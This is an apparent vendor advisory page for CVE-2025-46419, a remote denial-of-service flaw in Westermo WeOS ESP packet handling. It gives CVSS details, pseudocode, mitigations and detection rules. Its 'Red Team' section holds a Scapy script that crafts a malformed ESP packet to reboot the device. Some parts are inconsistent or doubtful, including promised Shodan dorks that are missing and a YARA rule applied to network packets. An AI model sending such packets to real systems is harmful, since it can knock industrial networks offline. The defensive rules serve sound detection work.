CVE-2025-46419
Executive Summary
CVE-2025-46419 is a denial-of-service (DoS) vulnerability affecting Westermo WeOS versions 5 through 5.23.0. The flaw allows an unauthenticated, remote attacker to cause a device reboot by sending a malformed ESP (Encapsulating Security Payload) packet. This can lead to network disruption and service unavailability in industrial environments where Westermo devices are deployed. No public exploit code or proof-of-concept is currently available, and no official patch has been released by the vendor.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 5.9 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: None (PR:N)
- User Interaction: None (UI:N)
- Scope: Unchanged (S:U)
- Confidentiality Impact: None (C:N)
- Integrity Impact: None (I:N)
- Availability Impact: High (A:H)
- Threat Level: Medium – Exploitation could cause significant operational disruption in critical infrastructure.
Deep Dive & Mechanics
The vulnerability resides in the ESP packet processing logic within WeOS. ESP is part of the IPsec protocol suite, used for encrypting and authenticating IP packets. A malformed ESP packet—likely with an invalid header, length, or padding—triggers an unhandled exception or memory corruption in the kernel or network stack, causing the device to reboot. The attack does not require authentication or prior knowledge of the device, making it exploitable from any network-accessible location.
The reboot is immediate upon receipt of the crafted packet, and no persistent state is left on the device. This is a classic resource exhaustion or crash-based DoS.
Vulnerable vs. Patched Code
No patched version is available. The vulnerable code path is in the ESP packet handler. A hypothetical fix would involve:
- Adding input validation for ESP header fields (e.g., SPI, sequence number, payload length).
- Implementing bounds checking before memory operations.
- Using safe memory copy functions and exception handling.
Vulnerable (pseudocode):
void handle_esp_packet(struct sk_buff *skb) {
struct esp_hdr *esp = (struct esp_hdr *)skb->data;
// No validation of esp->payload_len
process_esp_payload(esp, esp->payload_len);
}
Patched (pseudocode):
void handle_esp_packet(struct sk_buff *skb) {
struct esp_hdr *esp = (struct esp_hdr *)skb->data;
if (esp->payload_len > MAX_ESP_PAYLOAD) {
return -EINVAL;
}
process_esp_payload(esp, esp->payload_len);
}
Exploitation & Lab Setup
Red Team
No public exploit code exists. To reproduce the vulnerability in a lab:
- Set up a Westermo device running WeOS 5.23.0.
- Use a packet crafting tool (e.g., Scapy, hping3) to send a malformed ESP packet.
- Example Scapy script:
from scapy.all import *
import struct
# Craft a malformed ESP packet with invalid payload length
esp_packet = IP(dst="192.168.1.1")/ESP(spi=0x12345678, seq=1)
# Add malformed payload (e.g., length field set to 0xFFFF)
esp_packet /= Raw(load=b'\xff\xff' + b'A'*100)
send(esp_packet)
- The device should reboot immediately.
Blue Team
- Monitor for unexpected device reboots in syslog or SNMP traps.
- Deploy network intrusion detection to flag malformed ESP packets.
- Use the following Suricata rule to detect anomalous ESP packets.
Indicators of Compromise (IOCs)
- Network: Malformed ESP packets with invalid header fields (e.g., payload length > 65535, SPI=0).
- System: Unexpected device reboot logs (e.g., "reboot: machine restart" in syslog).
- Traffic: ESP packets (IP protocol 50) with abnormal length or padding.
Detection Engineering
YARA Rule
rule CVE_2025_46419_ESP_Malformed {
meta:
description = "Detects malformed ESP packets targeting Westermo WeOS"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-46419"
strings:
$esp_header = { 50 } // IP protocol 50 (ESP)
$invalid_len = { ff ff } // Payload length 0xFFFF
condition:
$esp_header at 0 and $invalid_len
}
Sigma Rule
title: Malformed ESP Packet Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects malformed ESP packets that may trigger CVE-2025-46419
author: Valters IT
logsource:
category: network
product: suricata
detection:
selection:
event_type: alert
alert.signature_id: 3000001
condition: selection
falsepositives:
- Legitimate ESP traffic with unusual but valid headers
level: high
Suricata Rule
alert ip any any -> any any (msg:"CVE-2025-46419 - Malformed ESP Packet"; ip_proto:50; content:"|ff ff|"; offset:6; depth:2; classtype:attempted-dos; sid:3000001; rev:1;)
Remediation & Mitigation
- Immediate: Block ESP traffic (IP protocol 50) at network perimeter if not required.
- Short-term: Isolate Westermo devices on a separate VLAN with strict ACLs.
- Long-term: Monitor vendor for a firmware patch. Consider replacing devices if no patch is released.
- Compensating controls: Deploy an IPS/IDS with the above Suricata rule to drop malformed ESP packets.
Valters IT
DevSecOps & Cyber Threat Intelligence
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.